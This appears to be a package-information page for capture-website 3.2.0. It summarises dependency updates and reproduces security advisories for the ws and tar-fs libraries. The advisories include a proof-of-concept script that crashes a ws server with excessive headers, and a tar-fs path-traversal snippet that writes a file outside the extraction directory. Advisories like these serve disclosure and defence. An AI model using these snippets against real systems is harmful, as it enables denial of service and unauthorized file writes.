Capture-website version 3.2.0 introduces notable updates for developers seeking a reliable screenshotting tool. The most significant change lies in the upgraded puppeteer dependency, moving from version 17.0.0 to 19.2.0. This enhancement likely brings improvements in browser automation, performance, and support for newer web technologies, potentially resolving compatibility issues and optimizing screenshot capture processes. Another updated dependency is @cliqz/adblocker-puppeteer, which goes from version 1.24.0 to 1.25.1, promising more effective ad blocking during screenshot capture which can lead to cleaner and more representative images.
Furthermore, the development environment sees updates, with xo updated from 0.52.2 to 0.52.4 and ava from 4.3.3 to 5.0.1. These updates enhance code linting and testing capabilities, ensuring higher code quality and reliability. There is also an update of tsd from 0.23.0 to 0.24.1. While the core function of capturing website screenshots remains consistent, these dependency bumps suggest a focus on improved performance, security, and developer experience. Developers upgrading from version 3.1.0 can therefore expect enhanced compatibility, potential bug fixes, and a more robust foundation for their screenshot automation workflows. The unpacked size of files decreases a little bit sugesting there are minor improvements in the code that leads to disk size savings.
All the vulnerabilities related to the version 3.2.0 of the package
ws affected by a DoS when handling a request with many HTTP headers
A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.
const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j < chars.length; j++) {
const key = chars[i] + chars[j];
headers[key] = 'x';
if (++count === 2000) break;
}
}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});
The vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e)
In vulnerable versions of ws, the issue can be mitigated in the following ways:
--max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.server.maxHeadersCount to 0 so that no limit is applied.The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.
tar-fs can extract outside the specified dir with a specific tarball
v3.0.8, v2.1.2, v1.16.4 and below
Has been patched in 3.0.9, 2.1.3, and 1.16.5
You can use the ignore option to ignore non files/directories.
ignore (_, header) {
// pass files & directories, ignore e.g. symlinks
return header.type !== 'file' && header.type !== 'directory'
}
Thank you Caleb Brown from Google Open Source Security Team for reporting this in detail.
tar-fs Vulnerable to Link Following and Path Traversal via Extracting a Crafted tar File
An Improper Link Resolution Before File Access ("Link Following") and Improper Limitation of a Pathname to a Restricted Directory ("Path Traversal"). This vulnerability occurs when extracting a maliciously crafted tar file, which can result in unauthorized file writes or overwrites outside the intended extraction directory. The issue is associated with index.js in the tar-fs package.
This issue affects tar-fs: from 0.0.0 before 1.16.4, from 2.0.0 before 2.1.2, from 3.0.0 before 3.0.7.
// Create a writable stream to extract the tar content
const extractStream = tarfs.extract('/', {
// We can ignore the file type checks to allow the extraction of the malicious file
ignore: (name) => false,
});
// Create a tar stream
const tarStream = tarfs.pack().on('error', (err) => {
throw err;
});
// Append the malicious entry to the tar stream
tarStream.entry({ name: '/flag.txt', mode: 0o644 }, Buffer.from('This is a flag!'));
// Finalize the tar stream
tarStream.finalize();
// Pipe the tar stream into the extract stream
tarStream.pipe(extractStream);
tar-fs has a symlink validation bypass if destination directory is predictable with a specific tarball
v3.1.0, v2.1.3, v1.16.5 and below
Has been patched in 3.1.1, 2.1.4, and 1.16.6
You can use the ignore option to ignore non files/directories.
ignore (_, header) {
// pass files & directories, ignore e.g. symlinks
return header.type !== 'file' && header.type !== 'directory'
}
Reported by: Mapta / BugBunny_ai